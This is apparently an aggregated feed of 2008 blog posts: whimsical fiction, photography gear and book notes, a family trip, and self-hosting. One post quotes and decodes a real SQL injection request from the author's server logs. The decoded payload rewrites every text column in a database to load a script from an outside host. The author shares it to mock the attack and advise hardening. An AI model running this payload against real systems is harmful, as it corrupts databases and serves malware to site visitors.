Piglog

merovingian @ 2008-09-06T20:12:00

2008-09-07T03:15:05+00:00

I stumbled upon a garden today, with koi pond and wisteria arches, and a serene stone table.

Atop the table, dogs were playing poker.

I approached them, but as I got close I realized that there was nothing I could say to them.

Watching them play poker, I learned six things about enlightenment.

Name them?

Crumpler 7 Million Dollar Home

2008-09-06T14:07:38+00:00

I’ve never been a fan of camera bags that looked too much like a
“CAMERA BAG!!!“. Much of my photography is done at dusk, early mornings, and urban street street photography in dodgy neighborhoods. I need to be able to pull my camera out, take a shot quickly and stuff it back quickly, all the while looking innocuous.

My current bag is a cheap $12 messenger bag, and is stealthy as hell. As a day to day bag, it’s WONDERFUL. It holds my laptop, all my computer peripherals, a LOMO LC-A, papers, pens, my lunch, and whatever else i could throw at it.

Unfortunately, there’s no padding and no compartments inside, so lenses, flashes, cameras, film, and whatever else is free to jostle about. One good drop would total a camera.

Enter the 7 Million Dollar Home. From a distance, it looks like a plain old messenger bag, but it’s got stiffeners, padded, reconfigurable dividers, a zipper compartment inside the flap, an expansion pocket on the front of the bag, a pocket that might work for a tripod, an adjustable strap with removable pad, and it looks like it’s built to last.

I’m taking it out tonight for a test-drive, wish me luck!

Product page (Crumpler), Buy a 7 Million Dollar Home (Amazon)

Technorati Tags: 7 million dollar home, crumpler, photo bag

Sold Out!

2008-09-06T03:41:43+00:00

The movie guys approached me today.

"Hey, Teddy Baby, hey! We love it! That story you wrote on June 9, 2003 -- remember?" said the guy with the pink shirt and sunglasses.

"Uh, what? That was over five years ago. What story was that?" I replied, politely not punching him in the face for calling me Teddy Baby.

"The one with the guy in the bowling alley? With the old alchemists, and San Francisco taking over Seattle? We love it! We want to buy the rights for a big money movie. Only, we were thinking instead of a guy in a bowling alley, it's a war hero who stops San Francisco terrorists from taking over Seattle, and selling severed human heads to make huge money. And he has a sidekick who's a police officer's daughter and a kung fu master. And they go on a road trip with a prizewinning monkey!"

"Uh, that wasn't actually a story, you know. I write a journal of the things that sincerely happen to me -- I've never written any fiction in my life ever," I said.

"Suuuuure," he said, "so, then, let's drop the human heads and the Seattle thing, and just make it a road trip comedy with a prizewinning monkey. We've already got the perfect monkey."

"So you want to pay me the rights for a diary entry I wrote, but alter it completely beyond recognition?" I asked, incredulously.

"You bet!" they all said in non-unison.

Okay!

Red Phone

2008-09-05T19:23:51+00:00

Red Phone, SOMA. Canon SD1000

Technorati Tags: SD1000, SOMA, urban photography

Solitary

2008-09-05T19:17:48+00:00

Solitary - LOMO LC-A, York 100 film

Technorati Tags: lomo, low light

old/new

2008-09-05T19:17:09+00:00

One of my favorite photos from a walk along the water in San Francisco. Things change so quickly out there that these pictures are all that’s left.

Billboard, Canon SD110

Technorati Tags: dogpatch, sd110, urban photography

Lomography+JPG Mag+Photojojo meetup

2008-09-05T16:48:24+00:00

See http://www.kataan.org/blog/2008/sf-lomo-meetup/ for the whole story. More photos to come - these were the first digital shots off my camera.

(Updated! more pix!)

Lightsaber, Canon EOS 40D

Technorati Tags: jpg magazine, lomo, meetup, photojojo

Mimicking film with digital tricks

2008-09-05T16:38:54+00:00

Pssst! I’ve got a secret!

Most decent imaging programs have the capability of automating actions. With the right actions applied to a photo, you can easily mimic some of the quirky qualities of your favorite film camera on multiple photos and bundle the actions to share with others.

To Wit, the Holganizer. With it, you can take a rectangular, well exposed digital image and make it look like it was taken with the Holga, a $30 plastic camera. This was taken with a Canon SD110; for the original, see the previous post.

The film banner on the top and bottom are a nice touch, but unfortunately they don’t change when you make another Holganized pic, making the viewer think you’re permanently stuck on exposure # 9.

Holganized billboard, Canon SD 110

For a good Holga action, see the previous link. There are tons of LOMO actions for Photoshop and The Gimp, just a google search away.

Technorati Tags: holga, holganizer

BBF, a TLR 35mm camera?

2008-09-05T14:49:29+00:00

(updated, more picture-y goodness at the bottom!)

A little birdie told me about the BBF (Blackbird, Fly), a camera that the LOMO Society was planning to sell. I hadn’t heard of it before and decided to do a little research.

A little googling uncovered this post with some information. It sounds fun - a 35mm TLR with basic manual controls that shoots a square image? I wonder who would be able to develop them as square? I suppose anyone who processed 6×6 prints should be able to figure it out.

My first experience with a TLRs was with old 120, 620 and 127 cameras I had originally collected as interesting wall art. When I dusted them off and loaded them with film, I found the combination of a coupled viewing and taking lens, the distinctive upright shape of a TLR, and the old-school feel of a waist finder to be a unique experience in photography. With a TLR, I was more in touch with the shot, spent more time composing, more time taking my shots and ultimately took better photos.

The manufacturer’s official page is at http://www.superheadz.com/bbf.

Check it out!

Technorati Tags: bbf, Lomographic society, TLR

too many

2008-09-05T14:28:23+00:00

At my local mall they have a new monster shop that sells monsters.

I bought them in bulk because they're cheaper that way, but now I have too many! They are adorable, but destructive and man-hungry and fierce. Most have claws or fangs or both. Except the one that's made of glass. Some of them burrow through wood and stone like it was water. They also roll their eyes and nosh their teeth.

Anyone looking to adopt? I totally have too many!

(EDIT: I was very tired when I wrote this, because of a day full of monsters. I meant that they gnash their teeth, not nosh. Of course, some of them are very hungry and probably nosh their teeth too. Especially the one with all the rows of shark teeth. They grow back, and I think she eats her own teeth for sport.)

Yikes

2008-09-05T04:58:46+00:00

Seasonally adjusted unemployment claims per civilian, noninstitutional population, 1997-2008

In the week ending Aug. 30, the advance figure for seasonally adjusted initial claims was 444,000, an increase of 15,000 from the previous week's revised figure of 429,000. The 4-week moving average was 438,000, a decrease of 3,250 from the previous week's revised average of 441,250.

Unemployment Insurance Weekly Claims Report
Department of Labor, 4. September 2008

Quite a bump from my last update and starting to look pretty ugly on a per-population basis.

So Fast

2008-09-04T23:42:46+00:00

Reading back from the pictures I posted today—to the pictures I posted two weeks ago—I’m astonished at how much Robin has changed.

Everyone says they grow up fast. Once again, I guess, I’m here to report what everybody else already knew. I just—I just wasn’t prepared for it to be this fast.

Our Trip to St. Louis

2008-09-04T17:16:42+00:00

Yesterday evening I was scolded by Pops and Mo for not updating this blog for a while. “We have developed certain expectations,” I was informed.

In my defense, we’ve been gone—we’re just back from a plane trip to St. Louis. So I’ll try and post a lot of pictures to make it up to those discerning Robin-lovers whose expectations have not recently been met! Here’s Robin in his Nanita’s car:

Robin was thrilled with Nanita and with Nanita’s house. It was filled with baby-friendly things, like a toy truck he could push:

And a high chair he could sit in:

And when he sat in that chair, Nanita fed him fresh Missouri peaches, which he ate with gusto.

But the highlight of the trip for Robin was a visit to the St. Louis Zoo. We saw baby tigers and baby wild asses (”How pleasant to see a baby ass I don’t have to wipe!”), but just like in San Francisco Robin was much less excited about the animals than he was about all the other people. Then we went to the children’s zoo. They had a petting zoo just like in San Francisco, but one thing the St. Louis zoo had that the San Francisco zoo did not was a play area filled with water spouts:

This place, this place was like heaven to Robin. We must have stayed there for almost an hour. He crawled from one waterspout to another, screaming with laughter. He got soaked to the bone and loved every second of it. It’s so weird because he still hates baths with a fiery passion.

We had a really good time in St. Louis. We showed Sam more of the urban parts of the city, like the Central West End and the Loop, as well as residential neighborhoods like Southampton and the Hill. My fantasies of owning a little brick bungalow returned full force. It’s a topic we’re planning to revisit in about six months.

When I was going to high school there, I saw St. Louis as provincial and backwater, a city lacking in any culture or sophistication. Now I see a city that has suffered from neglect and decay, but one that retains a great deal of character and charm in its completely unpretentious streets. Its architectural heritage is marvelously intact (largely because St. Louis was a city built in brick); its history is proud and vibrant (like New Orleans, St. Louis benefitted from a rich cultural stew of French, Spanish, American and native influences, and in the steamboat age she was a queen of commerce); and its neighborhoods are becoming revitalized, with little shops and restaurants opening up in the old once-empty storefronts, and new families moving into those sweet old houses. There’s a lot to love in St. Louis. I think life could be easy there in a way that it isn’t in San Francisco: much as we love this city, it’s not family-friendly. It’s really a city for young childless people, people who want to go to shows and make art and have wild parties, to have their consciousness expanded and their horizons broadened. It’s easy to do those things in San Francisco. But it’s not easy to find quiet shady streets where little boys can ride their tricycles, and it’s not easy to buy a house with a garden in back, and it’s not easy to find communities of middle-class parents who can help you with the work of raising your child. Those things are easy in St. Louis.

I don’t want surburbia: I don’t want subdivisions of identical houses, where even the most trivial daily chores require a lot of driving. I want city life, but I also want the quiet shady street and the pretty little house with the garden, and neighbors who have kids. And I want these things for cheap. So more and more I’m looking outside of San Francisco. Of course, once I get to this point in the chain of thought, I start having a panic attack about the thought of leaving this beautiful, spirited, mythic city, that has given me so much happiness. We have many friends here, and real roots. It would be painful to tear them up.

Even if we do leave, it pleases me to think that Robin was born here, and that fact can never change. San Francisco is indelibly a part of his personal heritage. We have given him that.

Toxins

2008-09-04T05:40:22+00:00

The menu of the Health Food Store surprised me this evening. Bacon and scrapple with heaps of additives. Chicken fried steak, with artificial gravy. MSG and mayonaisse everywhere, and simple sugars, and lactose, and alar, and DDT, and unfiltered water, served in degraded plastic. Deep fried candy bars. You name it.

I was more fascinated than disgusted. Did we all used to eat like this? Clearly we survived, but...

"How is this health food?" I incredulously asked the friendly young hippy behind the counter.

"Oh," he said casually, "we're having a vampire epidemic here in Santa Carla. The more toxins you can get in your bloodstream, the safer you'll be."

“American Photobooth”, a book review

2008-09-04T01:44:45+00:00

American Photobooth is a new illustrated history of photobooths, which first made their splash in the 1920s. Photographer Nakki Goranin became obsessed with the technology after creating a series of her own photobooth self-portraits now in the collection of the International Center for Photography in New York. She then spent nearly a decade tracing the history and culture of photobooths and collected thousands of vintage photobooth prints, like those above. The new issue of Smithsonian profiles Goranin and includes an online slideshow of images from the book.

Goranin doesn’t much care for the mall’s machine, which is digital. But, she says, there are only about 250 authentic chemical booths left in the United States…

Before the photobooth first appeared, in the 1920s, most portraits were made in studios. The new, inexpensive process made photography accessible to everyone. “For 25 cents people could go and get some memory of who they were, of a special occasion, of a first date, an anniversary, a graduation,” Goranin says. “For many people, those were the only photos of themselves that they had.”

Because there is no photographer to intimidate, photobooth subjects tend to be much less self-conscious. The result—a young boy embracing his mother or teenagers sneaking a first kiss—is often exceptionally intimate. “It’s like a theater that’s just you and the lens,” Goranin says. “And you can be anyone you want to be.”

Photobooth article (Smithsonian), Buy American Photobooth (Amazon)

[via boingboing.net ]

Technorati Tags: book review, Nakki Goranin, photobooth

Lomography + JPG + Photojojo San Francisco & NYC Meetups

2008-09-04T01:27:53+00:00

Where: Dolores Park & Union Square Park
SF: meeting spot TBA - NYC: under the George Washington Statue
San Francisco & New York City
When: September 3rd, 2008 19:00
Contact: liad@lomography.com

Calling all San Francisco and New York City Lomographers!

Our friends at JPG Magazine and Photojojo are teaming up with us for a very cool event on September 3rd.

Simultaneously, in both cities (well, 3-hours apart actually), we will be holding a meet-up at sunset in Dolores Park in SF and at Union Square Park in NYC. (Round-up begins at 7pm, but shooting will start when the sun goes down.)

The goal of the meet-up is to wander around in the evening darkness doing light-painting and long-exposure experiments! Lomography will be providing a limited number of loaner Diana+ cameras and film for the events (but please bring your own cameras if you can – digital cameras are welcome for this event), and we will be awarding 5 Diana+’s in each city to the best 5 photos submitted afterwards. Photojojo will provide coupon vouchers for their shop to all who attend. And there is always the possibility that JPG will publish the best shot from the event in an upcoming issue (although this cannot be guaranteed at the moment).

JPG and Photojojo will be hosting the San Francisco event, and will have someone on hand to give a brief intro to light-painting that should get you started. I will be on hand at Union Square in NYC to do the same.

So come one, come all… bring your fancy-pants digital cameras if you must, or better yet, kick it old-school analog with a Diana+, Colorsplash, Holga, or other film camera with a B setting. Don’t forget to bring a flashlight, lighter, iPod, or glowstick, and use them to light up the town!

Technorati Tags: JPG, meetup

“Night Vision: The Art of Urban Exploration”, a book review

2008-09-04T01:27:30+00:00

Troy Paiva is one of my favorite photographers of late. I love his choice of subjects - googie architecture, abandoned buildings, junk yards and the southwest desert. He shoots almost exclusively at night and uses a combination of colored flashes and LED lights to “paint” his subjects.

Troy published his first book of night-time photography, Lost America: The Abandoned Roadside West in 2003. His newest book,
Night Vision: The Art of Urban Exploration continues his explorations into abandoned scenery, night time photography, surreal coloring, and imaginative vision.

I found a full review on Epic Edits, a new (to me) photo blog.

More of Troy’s work is available on his Flickr page.

[via Epic Edits ]

Technorati Tags: book review, Night Photography, Troy Paiva

merovingian @ 2008-09-02T21:25:00

2008-09-03T04:26:02+00:00

"All day long," he said, "I've been saying nonsensical things, but saying them backwards so they sound like words. That includes what I'm saying right now."

I frowned in thought. "Let me guess," I said, "you're honoring the passing of Don LaFontaine, whose voice we all loved so?"

"No," he said, "actually it's just one of those things. I'm sorry about Don's passing, though."

Then we had an awkward silence for a moment or two.

"Anyway," he said, "the building's still on fire, so we should probably be on our way, then."

Nicest fireman ever!

merovingian @ 2008-09-01T15:42:00

2008-09-02T00:49:45+00:00

My usual café was closed today for Labor Day, so I went to another neighborhood café to set a spell. (There's a third place nearby, but it's a çåfě, and that just seemed excessive, so I passed it by.)

One of the joys of living in San Francisco is the moments of spontaneous elegance you might find. Some cafés make their own ice cream in the back, or brew their own beer, or they're run by internet celebrities you loved but then forgot but will remember again. Some have amazing art on the walls. Some have elegant shop-wide puzzles, or current newspapers from around the world, or some brilliant new board game.

This one? They proudly displayed a tiny sign that said, "REAL Caesar Salad $4.35."

"Is that the original recipe that Cesare Cardini improvised out of what was left in the kitchen in his Tijuana restaurant on July 4, 1924?" I asked, but the woman behind the counter just smiled.

So, yes, of course I ordered it. And it was not bad.

After I ate it, I found myself in executive authority over the Roman Empire in the late 2nd century A.D. It turns out "REAL" modified "Caesar," not "salad."

For the rest of the day, I've had to deal with squabbling Senators, wars, bureaucracies, writs, riots, assassination attempts, political turmoil and personal attacks. The luxuries afforded to a Caesar are much less luxurious than those available to a middle-class American. It's worth it, though, because I really do think I'm helping the Empire. SPQR, yo.

I do love my city so. Always something to see.

Talking Cactus: Breakfast Edition

2008-09-01T23:34:07+00:00

"Opinions are like bellybuttons," my talking cactus told me, "because they were used to carry nutrients to the fetus in utero, and they are prone to infections when pierced."

"You know," I said back, "I know I should be impressed that you can talk at all, but it would be nice if you made any sense, like the saleswoman promised."

The cactus replied proudly, "Six monkeys makes an orchestra!"

merovingian @ 2008-08-31T22:36:00

2008-09-01T05:55:43+00:00

Here is the thing I know about obscenity:

Somehow, vulgarity is much, much more charming in another language. In your own language, it may be despicably crass or it may be delightfully passionate or it may even be common and proletarian, but whatever it is, it's boldly so. In any other language, it's quaint. Harmless. Not detoothed, exactly, but you'll never get offended because no one taught you to be offended.

You can swear in other languages on TV, even.

There's some contention about what language is best for swearing. I'm sure you have opinions on the matter, and you may well think your own language is best. Speakers of Spanish and German pride themselves of it, sometimes.

I asked a robot, to find out, and the robot said Arabic was the best. And that must be true -- he's a robot. He did mention that Hebrew might be in close competition, since they're related languages, but he hadn't been programmed to learn Hebrew, because of copyright complications.

Does anyone know where I can take a class in vulgar Arabic? I don't need to learn anything except the naughty words, but I'd like a thorough knowledge of those so I can pepper my language with them.

You know, to impress the robot.

Editor's note: Comments to this post containing obscenities (in any language) will be hidden. Even Esperanto or Klingon. Especially Esperanto or Klingon.

merovingian @ 2008-08-30T18:43:00

2008-08-31T01:44:04+00:00

There's a monster at the end of this sentence.

What you want for nothing? A rubber biscuit?

2008-08-29T23:22:44+00:00

The other day I had a wish sandwich. But not the kind where you take two pieces of bread and wish you had some meat.

In retrospect, though, I would have preferred that kind. I think the meat inside was monkey paw and I phrased my wish poorly.

It's no real pleasure in life

2008-08-29T06:33:54+00:00

Ghidorah

"She would of been a good woman," The Misfit said, "if it had been somebody there to shoot her every minute of her life."

"Some fun!" Bobby Lee said.

"Shut up, Bobby Lee," The Misfit said. "It's no real pleasure in life."

Flannery O'Connor, A Good Man Is Hard To Find, 1955

The Restaurant Problem (or, the Problem Restaurant)

2008-08-29T01:44:12+00:00

There's this cafeteria cooperative near my work and they have a system. There are two doors, and two separate dining areas.

Most people go in the main kitchen. Anyone who complains about anything gets put in the side kitchen from then on, and the only way to be admitted back into the main area is to volunteer for a day. The side kitchen gets slightly worse service and food.

The theory is that it encourages a positive attitude. The regular service staff loves the rule -- they invoke it all the time, and they refuse to consider changing the rule. Anyone who doesn't like the system keeps mum about their concerns, or they end up in the complainer's kitchen for life.

Over the past few years, both kitchens have gotten worse. The volunteer wait list is a mile long, but the regular staff hates the complainers. The main kitchen's food is atrocious (because it can be) and the side kitchen is miserable (because everyone's complaining and the servers are resentful.)

They asked me to come in as a consultant to improve the situation. My usual ideas -- use robots, switch horses, wear dots on your forehead, one always lies andthe other always tells the truth and so on -- aren't working here.

Any advice, folks? Please?

merovingian @ 2008-08-27T23:37:00

2008-08-28T06:40:30+00:00

Overheard in yoga class today:

"If you perform mathematics in this position, relativity will make sense."

And then:

"And in this position, quantum mechanics will make sense."

And then, several pretzel-twists later:

"And if you do the math in this position, introductory string theory will make sense."

And lastly:

"But if you do the mathematics in this position, the works of H.P. Lovecraft will make sense."

I don't remember what happened after that. It's probably for the best, though, really.

Second-person update.

2008-08-26T17:34:12+00:00

You're inhaling right now.

merovingian @ 2008-08-26T00:19:00

2008-08-26T08:51:51+00:00

At midnight, I was surfing the cool moonlit waters of Santa Maria, to impress the lobster-men on the shore.
At twelve-oh-one, I was on a conference call to a German law firm, brokering the purchase of a significant amount of longevity drugs for their reptoid masters.
At twelve-oh-two, I was being chased by spitting llamas through the closed stores of the Danger Pets district of Portland.
At twelve-oh-three, I was convincing a robot friend of mine to chug back a smoking cauldron full of unknown chemicals.
At twelve-oh-four, I was painting my great aunt's house with weather-safe ecru coat in preparation for the fall.
At twelve-oh-five, I was trying to floss all the bits of haunted celery from between my teeth.
At twelve-oh-six, I was lounging in a sensory deprivation tank, pretending it was still eleven-fifty-nine.
At twelve-oh-seven, I was working hard in the salt mines of Alviso, Caifornia.
At twelve-oh-eight, I was drinking the world's best lemonade with a Russian mobster.
At twelve-oh-nine, I was studying the social habits of bats in an Orange County cathedral.
At twelve-ten, I was getting my third arm surgically removed.
At twelve-eleven, I was baking orange-mint-chocolate-chip cookies for the kids to eat in the morning.
At twelve-twelve, I was repairing that stupid aircraft carrier in my back yard.
At twelve-thirteen, I was staring at a clock, trying to figure out why the longer hand represents the shorter span of time.
At twelve-fourteen, I was playing drums for the troublesome pleasure of the Unseelie Court.
At twelve-fifteen, I was doing a final inventory of my live rare scorpion collection before sending it to my archrival.
At twelve-sixteen, I was signing execution orders for imaginary criminals.
At twelve-seventeen, I was a crocodile.
At twelve-eighteen, I was posing for a new coin.
Now I'm posting this.

So far, it's promising to be a fulfilling day.

Miroslav Tichy

2008-08-26T07:02:24+00:00

Am so enthralled with the photographic work of Czech artist Miroslav Tichy, who made cameras out of cardboard tubes, thread spools, rubber bands, and other similar things, and then photographed public scenes in his small hometown. He developed the negatives in a bucket at night, because he didn’t have a darkroom. Later, he said that the defects and ugliness were where the true art happened.

[via This Is That ]

Technorati Tags: Cardboard, Miroslav Tichy

Exquisite Update

2008-08-26T04:27:06+00:00

Great news! My Weekend Auditors looked at how my day was yesterday and loved it.

They said it read like Borroughs-esque cut-up, a sure sign of a weekend well spent.

Thanks! I get to keep the weekend!

Administrivia

2008-08-26T03:45:13+00:00

I think I’m going to consolidate my blogs here. I tried a photo blog, a photo a week blog, have a LOMO blog, and this one. That’s too many copies of wordpress, too many places to upload photos, too many security exploits to close, and too many directions to go.

I want a place to showcase my photos, googlebait technical information as I discover it, and organize LOMOcrawls, and I figure I can do that by using domains, redirects and categories. Watch this space for more information!

More a corpse than exquisite.

2008-08-25T23:02:21+00:00

So, on Mondays I look back to think about my weekend. Did I get enough relaxation? Did I spend enough time with friends? Did I grow personally? Did I get enough sleep?

Can I walk into the next week refreshed, restored, and improved?

This process has gotten more formal over the eyars. At first I just thought about it. Then I started jotting down notes. Then I wrote a formal review every Monday.

Then, when the formal review of my weekend got to be too much for me, I hired someone else to review it. They decided that they were too biased to give an impartial review, so they hired an independent auditing consultant to review my weekend every Monday.

It's expensive and suddenly I'm exposed to a lot of lawsuits and financial calamities if my weekend isn't good enough. That usually means I have a fantastically good weekend, just to avoid the problems, but sometimes the stress is too much for me. It also means that I have to document everything, which is why I have this LiveJournal.

So, incomprehensible LJ entries like this cause a lot of stress. The Weekend Auditors are going to pull me through the wringer for this!

Hopefully more exquisite than a corpse.

2008-08-25T04:11:37+00:00

I'm really far too lazy to tell you how my day was today, but I assure you it was very exciting.

Please help me by writing this entry for me.

View Poll: #1247726

(PLEASE READ PREVIOUS ANSWERS BEFORE WRITING OR IT WILL BE MEANINGLESS GIBBERISH.)

Progress Bar

2008-08-25T04:07:55+00:00

This morning I went to the breakfast glade, where random strangers offer each other breakfast. It's like a permanent floating breakfast pot luck. A great way to meet people, to share your baking, or to eat for free.

There was a guy there with a poster hanging from a tree. It depicted a blue progress bar, like what you might see when installing software in a GUI.

"This measures how close humanity is to achieving our next species," the man said proudly.

You know progress bars that don't have any clear indication of what's happening? Like they're not actually indexed on anything, and they're just graphics to give you a vague sense that something is happening and you should wait, but no real measure of how long it's been or how long you have left or how much has been done? Or the ones that look like they're clipping along nicely, but then hang at 62% for six hours before reaching 63%?

I hate those. I did not share my French toast with this guy.

View Poll: #1247165

Settling in with my data

2008-08-23T16:20:53+00:00

I’ve continued on my project to bring data back into my control and to stop sites from leveraging my information to gather my friend’s data. (Want to see Kurt’s Flickr pix? Just register on Yahoo!)

I installed Gallery on my web site and found a great script for exporting photos from Flickr to Gallery. Once I moved all of my files over to Gallery, I put up a signpost on my Flickr account pointing people to the new location.

If I want to post pictures with some level of security, I can create custom users in Gallery without gathering any information from my friends or family. Or spamming them, or selling their names to countless list marketers.

Mail is working well. I’m using IMAP on my webhost and using Portable Thunderbird on my key drive. My mail archive is still sitting on their servers; as soon as I’m sure I’ve moved everything over I’ll delete the archives.

Moving back to my own hosted services has inspired me to clean up my web site, which had gotten a little weed-bound during the Web 2.0 boom. I did some cleanup work, added a splash page to my site, found a new template for my blog (you’re reading it now) and cleaned up my photo blog.

IM has proved a little more problematic. I have my own Jabber server, but I do a lot of IM over my phone, and Google Talk seems to work better with their own service. Friends of mine are still married to their respective IM networks (Google, Yahoo!, MSN, AIM, and others) and so I’m stuck there.

I am hosting the Yahoo! LOMO-SF list, a photo walkabout group that’s been on-again, off-again. I’m considering moving it to a mailing list or moving to an install of phpBB on my web site. Ditto for the SMC Barricade router support group I run.

Both groups are similar - low traffic, static storage needs (for pictures or router images) and email/web access. It should be simple to make one solution work for both equally well.

All in all, this doesn’t feel as 2001 as I thought it would…

Technorati Tags: hosting, mail, privacy, services, web

Talking Cactus: Play-at-Home Edition

2008-08-22T19:01:50+00:00

If you don't have a talking cactus at home, you can use this poll-based simulation instead!

View Poll: #1246567

merovingian @ 2008-08-21T20:41:00

2008-08-22T04:24:22+00:00

I spent the whole day today staring at this one well-carved piece of cobalt.

Its shape is the opposite of a cube.

And the more that you stare, the bluer it gets.

$240 Worth of Puddin'....

2008-08-21T09:34:22+00:00

We had the 240; we had to have the puddin'. Awww yeah. It's that time. You know it's that time. http://www.youtube.com/watch?v=3XhS80rwjIg

merovingian @ 2008-08-20T22:28:00

2008-08-21T05:29:42+00:00

Hi everybody! I just went outside a few days ago to check on my friend who got that weird guitar.

I'm back inside now. Did I miss anything?

EDIT: Curse you, evil robot double self! From now on, this LiveJournal is locked as non-arch-enemies-only!

UPDATE: merowinkian, don't worry, we're still cool.

Hyper-Ecto-coatl Neo-Maxi-Zoom Evil Double Robot Parallel Post #0

2008-08-20T07:36:03+00:00

Hi there! This is Ted's evil robot double. I had an evil day today. This is my third post now.

(Evil robots with fuzzy logic increment by hyperbole, not numbers.)

I went to the evil robotic breakfast nook around the evil corner from my evil apartment. It was sinister. I had an inhuman killing machine omelet and some evil orange juice - squeezed from the last lifeblood of a convicted orange!

Then I loomed off to the evil bus, and robotically rode to my evil work. Typical evil day - evil 9 to robotic 5.

Then I came home and watched some evil television for an evil while.

And I found an evil robotic sixpence upon an evil robotic stile.

Love,
Evil Robot Ted

P.S. Exterminate?

Super Triple Mega-Bonus-Evil Robot Double Ripple Post #0

2008-08-19T02:19:38+00:00

This is still Ted's hyper-evil double parallel universe robot twin, still updating while Ted is away for unknown reasons. This is the second in an ongoing series of evil ideas.

(Evil robots always increment by zeros.)

Einstein famously said, "You cannot simultaneously prevent and prepare for war." I take that as a challenge.

I've purchased a live hog at an auction. I'm intending to teach it to go to market while staying home, and to have roast beef while also having none, and at the same time to go wee-wee-wee all the way home.

Once it has mastered the balance between these contrasting elements, it should also be able to prevent and prepare for war pretty easily.

I need help with training, though. Please provide seemingly contradictory insights in comments below, to help me with teaching the pig. Otherwise, I'll have to wrestle with the pig instead.

P.S. If you know how to install a robotic goatee, please tell me in comments as well. I am having a little trouble.

Thanks!
Ted's Evil Robot Double

Jazz from Hell

2008-08-18T21:39:52+00:00

Mais um vídeo da nossa banda, que se dedica a massacrar clássicos do Jazz. Neste caso, a vítima é “Mr. PC” de John Coltrane. Sou eu no fundo tocando baixo. Perdão seu Coltrane.

Evil Robot Double Guest Post #0

2008-08-18T00:09:34+00:00

Hi! This is Ted's evil giant robot double. I'm posting while Ted is out for uncertain reasons in unknown ways.

I'll be posting about my evil ideas here in the interim. Oh, I'm not sure how I can be a giant robot and also a double. Please don't ask.

(Robots count from zero, of course.)

Here's my idea. It's a medical cure. You've all heard of the power of the placebo, right? That the body heals better when it believes it's healing.

Clearly, there must be some mechanism for how this happens. It cannot happen in a vaccuum. That belief must send some neural signal, hormone, enzyme, or something out to the body. Maybe a combination of them, I don't know. Since it exists in the body, there must be some way to duplicate it: some way to boost this incredible healing power, even for people who aren't as suggestible or eager to believe as the ideal patient.

I'm not talking about a sugar pill. I'm talking about an artificial placebo, that synthesizes the belief in healing. I suspect that it would have tremendous benefit, especially when given to skeptics.

The only problem I can see is that it will be very difficult to do controlled studies.

Please invest billions of dollars in the comments section below. I assume there's some way to do that; I don't use LiveJournal much so I can't tell you how.

merovingian @ 2008-08-16T23:18:00

2008-08-17T08:32:21+00:00

I'm not here right now!

I went outside last night to see something, and I don't know where I went. I was just gone.

I put out an ad on Craigslist asking after me, and I got a lot of replies, but none of them were me.

My car did call, though. It said it hadn't seen me. Thanks, my car!

If you see me, please let me know.

I'm going to go looking for me. If I don't come back.... wait, this can't be right.

I must be my evil robot double right now!

SQL injection for dilletantes

2008-08-16T21:41:00+00:00

xkcd.com P+C Randall Munroe

So, you're a dilettante. You let your box get rooted once. Eventually, you figure, "hey, let's upgrade!" So for the first time in a while I check logs. What do I find but some odd errors:

...ALERT - configured GET variable value length limit exceeded - dropped variable..

to which the attendant request looked like

"GET /?;DeCLARE @S CHAR(4000);SET @S=CAST(0x4445434C41.. [snip long hex] AS CHAR(4000));ExEC(@S); HTTP/1.1"

Let's translate:

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id
and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=['+@C+']+''">
</title><script src="http://www3.800mg.cn/csrss/w.js"></script>
<!--'' where '+@C+' not like ''%"></title>
<script src="http://www3.800mg.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

This is explained pretty well elsewhere. There is a complicated solution.

The joke here is that the solution is much easier. One, do not to install your webserver and db so stupidly they'll execute any old thing appended to a GET request. Two, consider not running SQL Server, to which this attack is specific, and not running Winders, to which malware ultimately is delivered.

I am annoyed by seeing this crap in my logs, though.

Seven Strings

2008-08-16T05:54:27+00:00

This particular guitar, I'm told, is different.

This one I have in my lap here. It seems innocuous enough to me, but I don't know how to play the guitar, so I really wouldn't know how it's different.

It's a lovely guitar, all electric and silver and black. It looks like some custom rock star guitar, hand-built and unlabeled. Really, just sitting with this guitar, I probably look like a rock star.

But not suspiciously so.

When I let a guitar player friend borrow it last week, he couldn't play it. It was all wrong. Completely off. Absolutely backwards, every string more wrong than the last.

So last night I lend it to a friend of a friend who knows guitars. She makes them, plays them, sells them. She's not good enough to be world famous, I don't think, but she's certainly good enough that she was the first person to come to mind when I needed a guitar person. Asked if she could figure out how to make it work.

She came in this morning with bloodshot eyes and twitching hands.

"This particular guitar," she said as she sat in my lap, "is different."

And then she closed her eyes, turned into a glowing silver sphere, and flew out into the moonlight.

So, you know, I figured, whatever happens next, I'd better blog about this.

I'm going to go outside and check that she's okay now.

Scenes from a Birthday

2008-08-14T19:06:49+00:00

Robin had his first birthday this week! We took the train up to Reno to celebrate the day with Nonna, Pappy, the Anti-Sara, and Great-Grandma Elsie. The train ride was super fun: we saw beautiful scenery and chatted with nice folks, and Robin had a lot better time crawling up and down the aisles of the train than he would have strapped into a car seat.

I baked a carrot cake for Robin’s birthday and we strung up some crepe paper and decorations:

Robin had no idea what was going on, of course, although he enjoyed a few bites of cake, and he seemed to really like it when we all sang “Happy Birthday” at him. He got many lovely presents, but his favorite of all was that purple flowered bag you can see in the picture. He spent quite a lot of time happily playing with the bag once it had been emptied of presents.

I had the bittersweet thought that one eighteenth of Robin’s time in our care has already elapsed. It seems unreal. At the same time, though, one year old is a good age. Robin’s now active and communicative enough to be interesting and fun, but he’s also still cuddly and small, the perfect size for picking up and snuggling. Yesterday he grabbed my shirt, pulled himself close to my face, and planted a deliberate, sloppy kiss right on me. I got all misty. We are so blessedly lucky. I’m filled with gratitude for the year we have had, and for the years we have ahead. Robin’s too young to know what a birthday means, but to me it was profoundly significant.

merovingian @ 2008-08-14T08:22:00

2008-08-14T15:24:39+00:00

I was reading a book in the lobby of my chiropractor's office, when suddenly I felt a creeping shivery hatred in my spine. It was the grating voice of another customer.

"Hey," I asked, "are you the guy who does the voice-overs for all those unfair sneering political attack ads? The ones that veil any substantial issues with a thick helping of decontextualized accusations and smear tactics?"

